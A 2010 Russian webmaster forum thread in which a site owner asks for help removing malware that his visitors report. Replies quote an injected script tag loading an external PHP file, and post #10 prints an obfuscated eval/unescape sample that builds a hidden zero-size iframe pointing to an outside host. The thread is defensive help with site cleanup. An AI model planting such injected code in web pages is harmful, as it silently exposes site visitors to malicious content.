X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
> Помогите убрать вирус!
cerrus
cerrus
Topic Starter сообщение 2.1.2010, 16:32; Ответить: cerrus
Сообщение #1


Привет , всех с наступившим новым годом!!!

Мне пишут мои пользователи моего сайта! типа у меня на сайте ВИРУС, но мои каспирски, не находит!
Помогите его обнаружить и стереть Пожалуйста !
bilova_net


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
_fan_
_fan_
сообщение 2.1.2010, 16:38; Ответить: _fan_
Сообщение #2


Avast молчит.. dry.gif
Сайт жутко долго грузится.. толк так обставлять партнерками с такой посещалкой ? blink.gif


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
webpavilion
webpavilion
сообщение 2.1.2010, 16:38; Ответить: webpavilion
Сообщение #3


попробуй вместо:
(cerrus @ 2.1.2010, 15:32) *
мои каспирски

поставить: Kaspersky Internet Security 2010, который все прекрасно находит.

убрать нужно вот это из кода: <script type='text/javascript' src='http://erorhost.ru/sait/menu.php'></script>


--------------------
Не ведитесь, cамопис это почти всегда плохо!

Делаю сайты на Drupal 7.x
(очень дорого)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
cerrus
cerrus
Topic Starter сообщение 2.1.2010, 16:53; Ответить: cerrus
Сообщение #4


(webpavilion @ 2.1.2010, 16:38) *
попробуй вместо:
поставить: Kaspersky Internet Security 2010, который все прекрасно находит.

убрать нужно вот это из кода: <script type='text/javascript' src='http://erorhost.ru/sait/menu.php'></script>

a gde eto v MAIN.TPL ?


Blin ne mogu naiti!((


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
webpavilion
webpavilion
сообщение 2.1.2010, 16:56; Ответить: webpavilion
Сообщение #5


cerrus, зашифровано скорее всего.


--------------------
Не ведитесь, cамопис это почти всегда плохо!

Делаю сайты на Drupal 7.x
(очень дорого)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
cerrus
cerrus
Topic Starter сообщение 2.1.2010, 16:57; Ответить: cerrus
Сообщение #6


(webpavilion @ 2.1.2010, 16:56) *
cerrus, зашифровано скорее всего.

cry.gif i chto? vsö gibloe delo(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
webpavilion
webpavilion
сообщение 2.1.2010, 17:07; Ответить: webpavilion
Сообщение #7


(cerrus @ 2.1.2010, 15:57) *
i chto? vsö gibloe delo(
нет, можно конечно поковыряться, но мой заряд альтруизма кончился...


--------------------
Не ведитесь, cамопис это почти всегда плохо!

Делаю сайты на Drupal 7.x
(очень дорого)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Axel
Axel
сообщение 2.1.2010, 17:08; Ответить: Axel
Сообщение #8


Поищи в login.tpl

Какая у тебя версия дле?


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
cerrus
cerrus
Topic Starter сообщение 2.1.2010, 17:15; Ответить: cerrus
Сообщение #9


(Axel @ 2.1.2010, 17:08) *
Поищи в login.tpl

Какая у тебя версия дле?

8.3


v login.tpl netu....


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
taylerx
taylerx
сообщение 2.1.2010, 17:17; Ответить: taylerx
Сообщение #10


примерно опишу как выглядит зашифрованный кусок можешь посмотреть у себя!
<script>var PnC=eval,NmB=unescape;PnC(NmB(".64.6f.63.75.6d.65.6e.74.2e.77.72.69.74.65.28.22.3c.68.74.6d.6c.3e.3c.62.6f.
64.79.3e.3c.73.63.72.69.70.74.3e.76.61.72.20.74.65.6d.70.49.46.72.61.6d.65.3d.64
.
6f.63.75.6d.65.6e.74.2e.63.72.65.61.74.65.45.6c.65.6d.65.6e.74.28.27.69.66.72.61
.
6d.65.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.65.74.41.74.74.72.69.62.75.74
.
65.28.27.69.64.27.2c.27.52.53.49.46.72.61.6d.65.27.29.3b.74.65.6d.70.49.46.72.61
.
6d.65.2e.73.65.74.41.74.74.72.69.62.75.74.65.28.27.73.72.63.27.2c.27.68.74.74.70
.
3a.2f.2f.63.6c.69.63.6b.2d.79.61.6e.64.2e.63.6f.6d.2f.61.64.2f.69.6e.2e.63.67.69
.
3f.33.27.29.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73.74.79.6c.65.2e.76.69.73.69.62
.
69.6c.69.74.79.3d.27.68.69.64.64.65.6e.27.3b.74.65.6d.70.49.46.72.61.6d.65.2e.73
.
74.79.6c.65.2e.77.69.64.74.68.3d.27.30.70.78.27.3b.74.65.6d.70.49.46.72.61.6d.65
.
2e.73.74.79.6c.65.2e.68.65.69.67.68.74.3d.27.30.70.78.27.3b.49.46.72.61.6d.65.4f
.
62.6a.20.3d.20.64.6f.63.75.6d.65.6e.74.2e.62.6f.64.79.2e.61.70.70.65.6e.64.43.68
.
69.6c.64.28.74.65.6d.70.49.46.72.61.6d.65.29.3b.3c.2f.73.63.72.69.70.74.3e.3c.2f
.
62.6f.64.79.3e.3c.2f.68.74.6d.6c.3e.22.29.3b".replace(/[\+.]/g,"%")));</script>


Просто выкачай архив сайта и возьми поиском в тотале найти в файлах слова var PnC=eval ну или просто пересмотреть в все тпл которые имеют назмвание индекс меню и мейн ( у меня так заражало )

Сообщение отредактировал taylerx - 2.1.2010, 17:19


--------------------
Записки юного интернет маркетолога jenex.ru - твой интернет маркетинг


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите вспомнить рекламного бота Телеграм для обмена рекламой
0 Mixatraider 727 21.2.2024, 23:42
автор: Mixatraider
Открытая тема (нет новых ответов) Помогите рещить проблему с монитором.
Почему низкое разрешение при подключении монитора через displayport?
0 Levels 1702 11.12.2020, 0:48
автор: Levels
Открытая тема (нет новых ответов) Помогите кто нибудь получить партнерку Росбанк!
7 heisenberg_mw 2341 7.8.2020, 9:28
автор: heisenberg_mw
Открытая тема (нет новых ответов) Помогите найти тему пожалуйста
7 virtas 12507 24.7.2020, 17:02
автор: -JamesSmips-
Открытая тема (нет новых ответов) Помогите с поиском доноров
3 tehno_music 3356 4.11.2019, 17:15
автор: goblin78


 



RSS Текстовая версия Сейчас: 23.4.2024, 10:47
Дизайн